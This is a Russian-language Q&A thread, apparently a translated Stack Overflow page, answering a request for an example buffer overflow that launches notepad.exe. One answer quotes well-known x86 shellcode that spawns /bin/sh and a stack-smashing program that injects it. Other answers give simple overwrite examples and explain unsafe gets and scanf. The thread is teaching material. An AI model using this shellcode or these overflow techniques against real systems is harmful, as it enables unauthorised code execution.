Можете ли вы привести пример переполнения буфера? - PullRequest
6 голосов
/ 20 августа 2009

Я так много слышал о переполнении буфера и считаю, что понимаю проблему, но все еще не вижу примера, скажем

char buffer[16];

//code that will over write that buffer and launch notepad.exe

Ответы [ 9 ]

14 голосов
/ 20 августа 2009

"Smashing The Stack для удовольствия и прибыли" - лучший HowTo / FAQ по теме.

См .: http://insecure.org/stf/smashstack.html

Вот фрагмент реального шелл-кода:

    char shellcode[] =
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    char large_string[128];

    void main() {
      char buffer[96];
      int i;
      long *long_ptr = (long *) large_string;

      for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;

      for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];

      strcpy(buffer,large_string);
}
5 голосов
/ 20 августа 2009

Во-первых, вам нужна программа, которая будет запускать другие программы. Программа, которая выполняет ОС exec в той или иной форме. Это сильно зависит от ОС и языка.

Во-вторых, ваша программа, которая запускает другие программы, должна читать из какого-либо внешнего источника в буфер.

В-третьих, вы должны затем проверить запущенную программу - как она была размещена компилятором в памяти - чтобы увидеть, как существует входной буфер и другие переменные, используемые для шага 1 (запуск других программ).

В-четвертых, вы должны создать вход, который фактически переполнит буфер и установить другие переменные.

Итак. Часть 1 и 2 - это программа, которая выглядит примерно так в C.

#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
    gets( buffer );
    exec( program_to_run );
}

Часть 3 требует некоторого анализа того, как выглядят buffer и program_to_run, но вы обнаружите, что это, вероятно, просто

 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00

Часть 4, ваш ввод должен быть

1234567890123456notepad.exe\x00

Таким образом, он заполнит buffer и запишет program_to_run.

5 голосов
/ 20 августа 2009

Есть две разные вещи:

  1. Код, который переполняет буфер, это легко сделать и, скорее всего, закончится ошибкой сегментации. Что было показано: sprintf (буфер, "01234567890123456789");

  2. Средство записи перезаписанного кода памяти, которое выполняется операционной системой. Это сложнее, чем просто переполнение буфера, и связано с тем, как выполняются программы. Обычно они получают следующую команду для выполнения из стека. Если вам удастся поместить в следующее значение стека допустимую инструкцию путем перезаписи памяти без создания повреждения указателя выполнения (или любого другого вида повреждения), вы можете создать эксплойт , Обычно это делается путем помещения инструкции перехода в следующее считываемое значение стека в раздел памяти, который содержит код. Вот почему пометка разделов памяти как неисполняемых может помочь против такого рода эксплойтов.

3 голосов
/ 20 августа 2009
int x[10];

x[11] = 1;
3 голосов
/ 20 августа 2009

хорошо, я не знаю, как запустить notpad.exe, но чтобы перезаписать этот буфер, просто сделайте:

sprintf(buffer, "somestringlongerthan16");
2 голосов
/ 20 августа 2009

Способ переполнения буфера может быть использован для того, чтобы заставить код делать что-то другое, чем предполагалось, путем записи данных за пределы выделенного буфера, перезаписывая что-то еще.

Перезаписанные данные обычно представляют собой код другой функции, но простой пример - перезапись переменной рядом с буфером:

char buffer[16];
string myapp = "appmine.exe";

void execMe(string s) {
   for (int i = 0; i < s.Length; i++) buffer[i] = s[i];
   Sys.Execute(myapp, buffer);
}

Если вы вызываете функцию с большим количеством данных, чем может вместить буфер, она перезапишет имя файла:

execMe("0123456789012345notepad");
1 голос
/ 23 августа 2009

Простой пример см. Также здесь:

Защита от некоторых атак с переполнением буфера: пример атаки

http://www.greenend.org.uk/rjk/random-stack.html

1 голос
/ 20 августа 2009

Phrack's Smashing The Stack для удовольствия и прибыли имеет достаточно объяснений, чтобы вы могли выполнить то, что вы просите.

1 голос
/ 20 августа 2009
gets(buffer);

Нет способа использовать get, так как он не запрашивает размер буфера.

scanf("%s", buffer);

Scanf будет считывать ввод строки, пока не достигнет пробела, если пользователь введет более 16 символов, произойдет переполнение буфера.

...